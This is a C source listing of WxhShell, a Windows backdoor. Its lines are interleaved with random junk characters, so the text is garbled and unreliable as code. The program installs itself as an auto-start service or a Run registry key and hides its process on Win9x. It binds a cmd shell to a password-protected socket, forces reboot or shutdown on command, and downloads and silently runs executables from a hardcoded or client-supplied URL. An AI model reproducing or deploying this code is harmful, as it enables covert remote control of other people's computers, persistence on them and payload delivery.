    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x"kjs.d7[<  
    if(Boot(SHUTDOWN)) J;t 7&Zpe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }F6<w{|  
    else { {>3\ N0e5  
    closesocket(wsh); |s7`F%  
    ExitThread(0); )'4P.>!!aQ  
    } rsn.4P=  
    break; (w (  
    } RhI;;Y#@  
  // 获取shell psh^MX)Q  
  case 's': { yZ]:y-1  
    CmdShell(wsh); RT/o$$  
    closesocket(wsh); xVB;s.'!  
    ExitThread(0); {3a&1'a0g  
    break; XKL3RMF9r  
  } 3gWvmep1  
  // 退出 aIy*pmpD=  
  case 'x': { kB:Uu }(=N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S 6,4PP  
    CloseIt(wsh); HysS_/t~  
    break; Z#d&|5Xj  
    } ?rVy2!  
  // 离开 \mM<\-'p  
  case 'q': { |rw%FM{F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N(6|yZ<J3M  
    closesocket(wsh); mM.*b@d-  
    WSACleanup(); Eh</? Qv\  
    exit(1); s>_V   
    break; A$0H .F>  
        } j!~l,::$"X  
  } Kyt)2p  
  } hD,:w%M  
in <(g@Zg  
  // 提示信息 l} ^3fQXI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kemw^48ts  
} GY3 Wj  
  } ;rI@ *An  
zQ?!f#f  
  return; 'mCe=Y  
} 2=0DCF;Bv  
>% p{38  
// shell模块句柄 VLsxdwHgb  
int CmdShell(SOCKET sock) d4:`@*  
{ CQ7{1,?2  
STARTUPINFO si; G2 ]H6G$M  
ZeroMemory(&si,sizeof(si)); !J1rRPV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M j-vgn&/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,H}_%}10  
PROCESS_INFORMATION ProcessInfo; 5IOFSy`  
char cmdline[]="cmd"; #?MY&hdU9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JTqDr  
  return 0; _iKq~\v2  
} HD,xY4q&N  
c$ S{^IQ  
// 自身启动模式 cEW0;\$  
int StartFromService(void) 2M<R(W!&  
{ wS+V]`b  
typedef struct <H3ezv1M  
{ q/3ziVd7p  
  DWORD ExitStatus; T lAR.cV  
  DWORD PebBaseAddress; R2etB*k6[  
  DWORD AffinityMask; k 4/D8(OXw  
  DWORD BasePriority; @WH@^u  
  ULONG UniqueProcessId; ]$afC!Z  
  ULONG InheritedFromUniqueProcessId; G CRz<)1  
}   PROCESS_BASIC_INFORMATION; -U~   
2Y}?P+:%>  
PROCNTQSIP NtQueryInformationProcess; h'J|K^na  
!f>d_RG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y^Nuz/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]3ONFa  
r`&-9"+  
  HANDLE             hProcess; ?1L.:CS  
  PROCESS_BASIC_INFORMATION pbi;  [=O/1T  
eD$M<Eu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "gd=J_Yw  
  if(NULL == hInst ) return 0; ^Jb H?  
HS'Vi9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E r/bO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ze< K=Q%(i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UT~a &u  
tqAd$:L  
  if (!NtQueryInformationProcess) return 0; s &Dg8$  
W{z.?$ SH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G 6VF>2  
  if(!hProcess) return 0; &<zd.~N"  
gh`m*@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `&0Wv0D0  
]v[|B  
  CloseHandle(hProcess); T|&[7%F3"  
6cqP2!~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bNT9 H`P  
if(hProcess==NULL) return 0; l1ZY1#%j  
PcB_oG g  
HMODULE hMod; Q 4CjA3  
char procName[255]; #T`t79*N  
unsigned long cbNeeded; 8x`.26p  
xI ,2LGO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sxjub&=  
Va Z!.#(P  
  CloseHandle(hProcess); /TS=7J#  
\xg]oKbn  
if(strstr(procName,"services")) return 1; // 以服务启动 Y`+=p@2O2o  
,mRyQS'F  
  return 0; // 注册表启动 Bq/:Nd[y  
} 7+./zN  
Vcd.mE(t%  
// 主模块 $/Aj1j`"9+  
int StartWxhshell(LPSTR lpCmdLine) L@=3dp!\Cu  
{ dEBcfya  
  SOCKET wsl; 2VW}9O  
BOOL val=TRUE; Kn+S,1r  
  int port=0; "CiTa>x  
  struct sockaddr_in door; ]weoTn:  
NvM*h%ChM  
  if(wscfg.ws_autoins) Install(); .ROznCe}  
"#mBcQ;QLV  
port=atoi(lpCmdLine); S9HwIH\m  
}68i[v9Njk  
if(port<=0) port=wscfg.ws_port; Nn>'^KZNG  
w[P4&?2:  
  WSADATA data; f#ri'&}c :  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0"~i ^   
u!1{Vt87  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RN=` -*E1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R^{)D3  
  door.sin_family = AF_INET; =4d (b ;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x8GJY~:SW  
  door.sin_port = htons(port); 9Fn\FYUq  
! 8`3GX:B_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SkU9ON   
closesocket(wsl); 0M\D[ mg  
return 1; j,]Y$B  
} ){jl a,[  
8Lw B B  
  if(listen(wsl,2) == INVALID_SOCKET) { mN8pg4  
closesocket(wsl); F R|&^j6  
return 1; ~  T>U  
} phO;c;y}  
  Wxhshell(wsl); E*i#?u  
  WSACleanup(); _X?^Cy  
}i!J/tJ)b  
return 0; Z|}G6]h  
$XoQ]}"O  
} o M Zq+>  
4Qn$9D+?  
// 以NT服务方式启动 K98i[,rP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YKQr, Now  
{ uw lr9nB  
DWORD   status = 0; \d::l{VB  
  DWORD   specificError = 0xfffffff; @JdZ5Q  
Haqm^Ky$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )>BHL3@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hMtf.3S7c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 86nN"!{l:  
  serviceStatus.dwWin32ExitCode     = 0; arf8xqR-U]  
  serviceStatus.dwServiceSpecificExitCode = 0; v%Wx4v@%SE  
  serviceStatus.dwCheckPoint       = 0; ,AT[@  
  serviceStatus.dwWaitHint       = 0; F-6c_!  
\TU3rk&X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uix6GT;  
  if (hServiceStatusHandle==0) return; Z0l+1iMx  
J4Dry<  
status = GetLastError(); Mw9 \EhA  
  if (status!=NO_ERROR) [` sL?&a  
{ 6Aocm R0D'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EYA,hc  
    serviceStatus.dwCheckPoint       = 0; =*Bl|;>6  
    serviceStatus.dwWaitHint       = 0; /*0K92NB  
    serviceStatus.dwWin32ExitCode     = status; )=Jk@yj8x  
    serviceStatus.dwServiceSpecificExitCode = specificError; y( y8+ZT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '] +Uu'a  
    return; ?IpLf\n-  
  } &r:7g%{n  
gCyW Vp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o=`C<}  
  serviceStatus.dwCheckPoint       = 0; >t7x>_~   
  serviceStatus.dwWaitHint       = 0; AlJ} >u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i~r l o^  
} kZ"BBJ6w  
|fo0  
// 处理NT服务事件,比如:启动、停止 TsTPj8GAl[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "jw<V,,  
{ 1@$Ko5  
switch(fdwControl) fDSv?crv  
{ c*~]zR>s!  
case SERVICE_CONTROL_STOP: Z@r.pRr'  
  serviceStatus.dwWin32ExitCode = 0; 6^DR0sO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m4*@o?Ow  
  serviceStatus.dwCheckPoint   = 0; q:g2Zc'Y~W  
  serviceStatus.dwWaitHint     = 0; f7}*X|_Y  
  { A`R{m0A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /t(C>$ }p  
  } &iV{:)L  
  return; vhhC> 7  
case SERVICE_CONTROL_PAUSE: h yv2SxP*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Rsp;1Z  
  break; Sf8{h|71  
case SERVICE_CONTROL_CONTINUE: G$sA`<<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !^ _ "~  
  break; %.vVEy  
case SERVICE_CONTROL_INTERROGATE: +]Y,q w  
  break; Tyck/ EO  
}; $kQ~d8 O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eY e,r  
} nl9P, d  
,UuH}E  
// 标准应用程序主函数 CJhL)0Cs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3)RsLI9  
{ $cZUM}@  
[pM V?a[  
// 获取操作系统版本 LcE+GC  
OsIsNt=GetOsVer(); \nP>:5E1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D$x_o!JT  
(IPY^>h  
  // 从命令行安装 M.>l#4s,'  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nr=d<Us9f  
Ox-|JJ=  
  // 下载执行文件 jQ)T67  
if(wscfg.ws_downexe) { e$pMsw'MJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BXyo  
  WinExec(wscfg.ws_filenam,SW_HIDE); y.q(vzg\_  
} x+]\1p  
s8h-,@p  
if(!OsIsNt) { )K2HK&t:  
// 如果时win9x,隐藏进程并且设置为注册表启动 KSrx[q  
HideProc(); ?y!E-&  
StartWxhshell(lpCmdLine); 95V@X ^Ee  
} F_4n^@M  
else  ^k\e8F/  
  if(StartFromService()) p l&Muv  
  // 以服务方式启动 YtWJX kB  
  StartServiceCtrlDispatcher(DispatchTable); ~#/hzS  
else C7O6qpO  
  // 普通方式启动 -(bkr+N  
  StartWxhshell(lpCmdLine); <Z/x,-^*<  
1u9LdkhnY  
return 0; p"U, G -_  
} yR\btx|e5~  
S1?-I_t+]  
2J;kSh1,L  
M^]cM(swK5  
=========================================== J.| +ID+  
@|tL8?  
jt.3P  
PV=5UyjW  
Gmz6$^D   
?pza G{  
" 7!N2-6GV  
mtj h`  
#include <stdio.h> FeTL&$O  
#include <string.h> piZJJYv t  
#include <windows.h> D~\$~&_]=  
#include <winsock2.h> c[ ]4n  
#include <winsvc.h> QMpoa5ZQG  
#include <urlmon.h> 'Un " rts  
)[|3ZP`  
#pragma comment (lib, "Ws2_32.lib") s4uhsJL V$  
#pragma comment (lib, "urlmon.lib") s91JBP|B7  
UMcgdJB  
#define MAX_USER   100 // 最大客户端连接数 <(-hx+^  
#define BUF_SOCK   200 // sock buffer /n8B,-Z5s5  
#define KEY_BUFF   255 // 输入 buffer '3 ^+{=q  
RnDt)3  
#define REBOOT     0   // 重启 *VZ5B<Ic  
#define SHUTDOWN   1   // 关机 r#B+(X7LM  
"^]cQ"A  
#define DEF_PORT   5000 // 监听端口 -Zz$~$  
w4d--[Q  
#define REG_LEN     16   // 注册表键长度 .>IhN 5  
#define SVC_LEN     80   // NT服务名长度 MHC^8VL  
wg]j+r@  
// 从dll定义API !U~WK$BP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $ <#KA3o\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8M`#pN^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &HY+n) o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E2{FK)qT  
 ({=gw9f  
// wxhshell配置信息 >lIk9|  
struct WSCFG { PxS8 n?y  
  int ws_port;         // 监听端口 KFwzy U"  
  char ws_passstr[REG_LEN]; // 口令 yu/`h5&*  
  int ws_autoins;       // 安装标记, 1=yes 0=no |1>*;\o-  
  char ws_regname[REG_LEN]; // 注册表键名 JC3m.)/  
  char ws_svcname[REG_LEN]; // 服务名 g'm+/pU)w)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  1OF& *  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E3iW-B8u8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A`}rqhU.{-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^:Gie  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n= u&uqA*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4zo5}L `Y  
% V ;?  
}; M%0C_=zg  
y7i*s^ys{  
// default Wxhshell configuration K]9"_UnN  
struct WSCFG wscfg={DEF_PORT, =HlQ36;*  
    "xuhuanlingzhe", X]dwX%:Z!j  
    1, !f+H,]D"  
    "Wxhshell",  pn5Q5xc  
    "Wxhshell", K]0JC/R6(@  
            "WxhShell Service", >M/V oV  
    "Wrsky Windows CmdShell Service", )}?#  
    "Please Input Your Password: ", XUlS\CH@{  
  1, g #6E|n  
  "http://www.wrsky.com/wxhshell.exe", fk x \=  
  "Wxhshell.exe" a,WICv0E  
    }; L');!/:  
KW^7H  
// 消息定义模块 y;o^- O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &Ob!4+v/GP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8 {X"h#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vTx2E6  
char *msg_ws_ext="\n\rExit."; ikSt"}/hd  
char *msg_ws_end="\n\rQuit."; -xA2pYz"  
char *msg_ws_boot="\n\rReboot..."; T]=r Co  
char *msg_ws_poff="\n\rShutdown..."; Rw:*'1  
char *msg_ws_down="\n\rSave to "; HEM9E&rL  
ssN6M./6  
char *msg_ws_err="\n\rErr!"; ktpaU,%  
char *msg_ws_ok="\n\rOK!"; w_{wBL[3e  
hK,Sf ;5V  
char ExeFile[MAX_PATH]; d*%`!G  
int nUser = 0; PU1Qsb5  
HANDLE handles[MAX_USER]; PIwFF}<(  
int OsIsNt; K%RxwM  
n$ou- Q  
SERVICE_STATUS       serviceStatus; @-!}BUs?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LBa[:j2  
%YC_Se7  
// 函数声明 cZ2kYn 8  
int Install(void); [CXrSST")E  
int Uninstall(void); ?3.b{Cq{-  
int DownloadFile(char *sURL, SOCKET wsh); /VN f{p  
int Boot(int flag); ]33>m|?@  
void HideProc(void); ^>hWy D  
int GetOsVer(void); lUvpszH=  
int Wxhshell(SOCKET wsl); )j0TeE1R  
void TalkWithClient(void *cs); In<n&ib  
int CmdShell(SOCKET sock); 7OJ'){R$  
int StartFromService(void); n+A?"`6*#  
int StartWxhshell(LPSTR lpCmdLine); &RnTzqv  
ZWKg9%y7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VYk!k3qS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jGpN,/VQa  
Tw;3_Lj  
// 数据结构和表定义 zPjHsulK  
SERVICE_TABLE_ENTRY DispatchTable[] = 9E>|=d|(d  
{ xY^ %&n  
{wscfg.ws_svcname, NTServiceMain}, NP/Gn6fr  
{NULL, NULL} f m)pulz  
}; 'g m0)r  
:6 Lx@  
// 自我安装 Yd=>K HVD  
int Install(void) sEGO2xeI  
{ [8*jw'W|[  
  char svExeFile[MAX_PATH]; ^!<BQP7  
  HKEY key; L"4mL,  
  strcpy(svExeFile,ExeFile); ^5h]Y;tx  
r[b(I@T +  
// 如果是win9x系统,修改注册表设为自启动 SfaQvstN  
if(!OsIsNt) { 9vGu0Um  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { to DG7XN}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dE4L=sTEsy  
  RegCloseKey(key); M$>1L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 +G$-ru  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bj>v|#r^  
  RegCloseKey(key); rzm:Yx  
  return 0; fj;y}t1E]  
    } n O\"HLM  
  } 4;0lvDD  
} 5n9B?T8C  
else { ]);%wy{Ho  
Hn%xDJ'  
// 如果是NT以上系统,安装为系统服务 (2^gVz=j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +~mA}psr  
if (schSCManager!=0) ~l]ve,W[  
{ {pnS  Q  
  SC_HANDLE schService = CreateService , P70J b  
  ( jw^<IMAG\8  
  schSCManager, hp5|@  
  wscfg.ws_svcname, 2Q/4bJpd  
  wscfg.ws_svcdisp, mUdOX7$c>  
  SERVICE_ALL_ACCESS, 0"\H^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @M_oH:GV  
  SERVICE_AUTO_START, 4GY[7^  
  SERVICE_ERROR_NORMAL, 1+jAz`nA:T  
  svExeFile, 8o'_`{ba  
  NULL, _lGdUt 2  
  NULL, |yQZt/*SOZ  
  NULL, C1m]*}U  
  NULL, w~"KA6^  
  NULL Kgi<UkFP  
  ); ->y J5smtY  
  if (schService!=0) }NzpiY9  
  { ,^w?6?,&l}  
  CloseServiceHandle(schService); di6QVRj1  
  CloseServiceHandle(schSCManager); _/6!yyl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zxbpEJzpn  
  strcat(svExeFile,wscfg.ws_svcname); MHX?@. v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i]6`LqlO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ->g*</  
  RegCloseKey(key); '%dfz K*Z  
  return 0; x,|hU@h  
    } #><.oreXq  
  } V-Sd[  
  CloseServiceHandle(schSCManager); h?BFvbAt  
} T"E6y"D  
} g!?:Ye`5  
?fUlgQ }N  
return 1; Jrti cK$  
} r^3acXl  
-EkWs/'h  
// 自我卸载 'B 43_  
int Uninstall(void) $c:ynjL|P-  
{ Vzdh8)Mu\  
  HKEY key; #Ssx!+q?  
vd 0ljA  
if(!OsIsNt) { beRVD>T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lvq>v0|  
  RegDeleteValue(key,wscfg.ws_regname); GT}F9F~  
  RegCloseKey(key); 6@{(;~r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B8V>NvE~o  
  RegDeleteValue(key,wscfg.ws_regname); 4E]l{"k<  
  RegCloseKey(key); aWWU4xe  
  return 0; T92UeG  
  } X(]WVCu  
} _wkVwPr  
} |)b6>.^  
else { H%UL%l$  
zr+zhpp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LcB]Xdsa(  
if (schSCManager!=0) 5_I->-<  
{ ;#xmQi'`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4'`{H@]tb  
  if (schService!=0)  \N!AXD  
  { U(Nu%  
  if(DeleteService(schService)!=0) { K9$>Yxe|  
  CloseServiceHandle(schService); \?0&0;5  
  CloseServiceHandle(schSCManager); Tx|Ir+f6L  
  return 0; E .7  
  } +*ZO&yJQ^<  
  CloseServiceHandle(schService); 6y+Kjd/D  
  } -@yh> 8v  
  CloseServiceHandle(schSCManager); XQ9O$ ~q  
} )}D'<^=#T  
} _aFl_\3>  
rz wF~-m +  
return 1; Oiz ,w7LRh  
} hxVKV?Fl  
s%C)t6`9  
// 从指定url下载文件 \O*-#}~\  
int DownloadFile(char *sURL, SOCKET wsh) TcjEcMw,  
{ Hfw q/Is  
  HRESULT hr; ^)(bM$(`  
char seps[]= "/"; ~P8tUhffK  
char *token; bJRN;g  
char *file; 66/3|83Z  
char myURL[MAX_PATH]; 5][Ztx  
char myFILE[MAX_PATH]; s \;"X  
\`oT#|0  
strcpy(myURL,sURL); iop2L51eJ  
  token=strtok(myURL,seps); PP;}e  
  while(token!=NULL) +BVym~*^  
  { zLD0RBj7p  
    file=token; T (OW  
  token=strtok(NULL,seps); v, n$^R  
  } 'Jt]7;04p  
*c~T@m~DR  
GetCurrentDirectory(MAX_PATH,myFILE); !46RGU:I  
strcat(myFILE, "\\"); k9  "[H'  
strcat(myFILE, file); WN{ 9  
  send(wsh,myFILE,strlen(myFILE),0); cik!GA  
send(wsh,"...",3,0); R:e<W/P"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i]Fp..`v~  
  if(hr==S_OK) Q1O}ly}JS  
return 0; ,Sq/y~  
else ohFJZ'  
return 1; F~%]6^$w  
//T>G_1  
} )PG6gZYW  
T]t+E'sQ  
// 系统电源模块 mef<=5t  
int Boot(int flag) [5zx17'  
{ T&%ux=Jt  
  HANDLE hToken; ^B(V4-|  
  TOKEN_PRIVILEGES tkp; iYDEI e  
[`{Z}q&  
  if(OsIsNt) { ,TXTS*V?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W3IpHV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C ~<'rO}|  
    tkp.PrivilegeCount = 1; c(:f\Wc3Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ zs'Y8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^T ?RK "p  
if(flag==REBOOT) { U]^HjfX\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8TGOx%}i  
  return 0; DF1I[b=]  
} SH_(rQby  
else { zm]aU`j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /tP|b _7O  
  return 0; B^j  
} :"=ez<t  
  } e\Y*F  
  else { 9z}uc@#D=m  
if(flag==REBOOT) { M)eO6oX|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B:gjAb}9T  
  return 0; /4a._@1h[y  
} (8Bk;bd  
else { x^kp^ /f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $^OvhnL/  
  return 0; =+U `-J} g  
} ue4Vcf  
} w8kOVN2b  
-R57@D>j\  
return 1;  Fy`(BF\  
} q;<h[b?  
_CW(PsfY  
// win9x进程隐藏模块 :uWw8`  
void HideProc(void) _AQb6Nb  
{ \ ^ZlG.  
P%{^i]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4a'N>eDR  
  if ( hKernel != NULL ) r<K(jG[:{f  
  { GliwY_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pa{%\dsv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BFL`!^  
    FreeLibrary(hKernel); uT}' Y)m  
  } 5]n[]FW  
S `#w+C#EW  
return; -j73Wz  
} G]+&!4  
.q9 $\wM/  
// 获取操作系统版本 7w'wjX-  
int GetOsVer(void) H *[_cqnv  
{ D+>4AqG  
  OSVERSIONINFO winfo; i'9vL:3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~~v3p>zRr  
  GetVersionEx(&winfo); ?Lyxw]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p?B=1vn-2  
  return 1; 2Ou[u#H  
  else gW-V=LV (  
  return 0; 'yL%3h _@  
} Ag&0wN+jTM  
t^6dzrF  
// 客户端句柄模块 QA<Jr5Ys  
int Wxhshell(SOCKET wsl) XmEq2v  
{ GM3f- \/  
  SOCKET wsh; cm?\ -[cV  
  struct sockaddr_in client; P8>~c9$I  
  DWORD myID; S-k8jm  
#a<Gxj  
  while(nUser<MAX_USER) VH+%a<v"  
{ cIav&Zko  
  int nSize=sizeof(client); $u9K+>.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,wIONDnLZ  
  if(wsh==INVALID_SOCKET) return 1; rcMwFE?|xq  
MrDc$p W G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %kdE un  
if(handles[nUser]==0) $Hj.{;eC/k  
  closesocket(wsh); So0f)`A  
else H`0|tepz  
  nUser++; }UWL-TkEjF  
  } DV _2P$tT|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '=Rs/EDME  
z"0I>gl  
  return 0; 8Le||)y,\  
} t0IEaj75c  
<-[wd.M_  
// 关闭 socket pov)Z):}G<  
void CloseIt(SOCKET wsh) gLy&esJl1  
{ #wV8X`g  
closesocket(wsh); a'2$nbp}  
nUser--; B)qWtMZx  
ExitThread(0); | h;0H`  
} Kac' ;1  
rNB_W.  
// 客户端请求句柄 n2oz"<?$S  
void TalkWithClient(void *cs) W3 'q\+  
{ zxC#0@qX07  
E;+O($bA  
  SOCKET wsh=(SOCKET)cs; LN@F+CyDc  
  char pwd[SVC_LEN]; jV4\A  
  char cmd[KEY_BUFF];  \4v]7SV  
char chr[1]; yt.F\[1  
int i,j; PK0%g$0  
ie2WL\tR4  
  while (nUser < MAX_USER) { _i20|v   
X&7 F_#s  
if(wscfg.ws_passstr) { &o,<ijJ:^m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P@9t;dZN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jpO7'ivG  
  //ZeroMemory(pwd,KEY_BUFF); BK,{N0  
      i=0; 4iKgg[)7`=  
  while(i<SVC_LEN) { X{\F;Cb*  
OoA|8!CFa  
  // 设置超时 aFS,GiB  
  fd_set FdRead; )XYv}U   
  struct timeval TimeOut; fSs4ZXC  
  FD_ZERO(&FdRead); yF"1#{*y  
  FD_SET(wsh,&FdRead); X)7x<?DAy  
  TimeOut.tv_sec=8; 0l-Ef 1  
  TimeOut.tv_usec=0; {\c(ls{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J2 'Nd'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yy)tmq  
`/EGyN6X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+1 |9Y  
  pwd=chr[0]; \lZf<f  
  if(chr[0]==0xd || chr[0]==0xa) { 0V'nK V"|  
  pwd=0; Mf&{7%  
  break; (]Y 5eM  
  } m<j8cJ(  
  i++; K95p>E`9e  
    } ">y%iE  
[Pq}p0cD  
  // 如果是非法用户,关闭 socket A?-oL='  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yIDD@j=l  
} \}p6v}  
 DX"xy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p2DrEId  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .ys6"V|31  
9983aFam  
while(1) { ?e,pN,4  
>h k=VyU;  
  ZeroMemory(cmd,KEY_BUFF); e^<#53!  
a hR ^  
      // 自动支持客户端 telnet标准   =jX8.K4]  
  j=0; 1:f9J  
  while(j<KEY_BUFF) { Z|5?7v;h5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }M3fmAP}  
  cmd[j]=chr[0]; ,PWgH$+  
  if(chr[0]==0xa || chr[0]==0xd) { v" OY 1<8  
  cmd[j]=0; u%$Zqee  
  break; gG-BVl"59  
  } 1@QZnF5[  
  j++; /+\uqF8F  
    } dt`{!lts'  
-Xxqm%([71  
  // 下载文件 pXJpK@z  
  if(strstr(cmd,"http://")) { n#wI@W >%+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .zn;:M#T  
  if(DownloadFile(cmd,wsh)) bpKZ3}U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"{JRbh[  
  else ;)!Sp:mHX  
